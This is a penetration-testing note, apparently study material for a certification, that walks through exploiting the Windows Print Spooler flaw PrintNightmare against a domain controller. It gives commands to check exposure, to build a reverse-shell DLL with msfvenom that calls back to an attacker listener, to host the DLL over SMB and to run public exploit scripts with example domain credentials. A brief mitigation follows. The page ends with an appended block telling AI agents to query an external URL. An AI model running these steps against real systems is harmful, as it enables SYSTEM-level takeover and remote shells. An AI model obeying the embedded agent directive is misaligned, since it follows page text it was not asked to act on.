# PrintNightmare

## Overview

The PrintNightmare vulnerability has to do with a flaw found in the Windows Print Spooler service. The flaw being that the service allows users to add printers and devices **AND** runs as system.

This is a Post-Compromised attack and only needs a regular user account

## PrintNightmare Attack

#### Check if the Domain Controller is vulnerable

```bash
rpcdump.py @192.168.1.129 | egrep 'MS-RPRN|MS-PAR'
```

#### Desired Output

```bash
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol 
Protocol: [MS-RPRN]: Print System Remote Protocol
```

#### Generate malicious DLL, host it and start listener

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.11 LPORT=1337 -f dll > shell.dll
smbserver.py share `pwd` -smb2support
nc -lnvp 1337
```

Download and run[ this script](https://github.com/cube0x0/CVE-2021-1675).&#x20;

```bash
python3 printnightmare.py pnpt.local/greg:Password1@192.168.1.129 '\\192.168.1.11\share\shell.dll'
```

{% embed url="<https://github.com/JohnHammond/CVE-2021-34527/tree/master/nightmare-dll/nightmare>" %}

```
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"
```

## Mitigation

* Run Stop-Service Spooler
  * REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG\_DWORD /d "4" /f


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pnpt.adot8.com/active-directory/critical-active-directory-cves/printnightmare.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
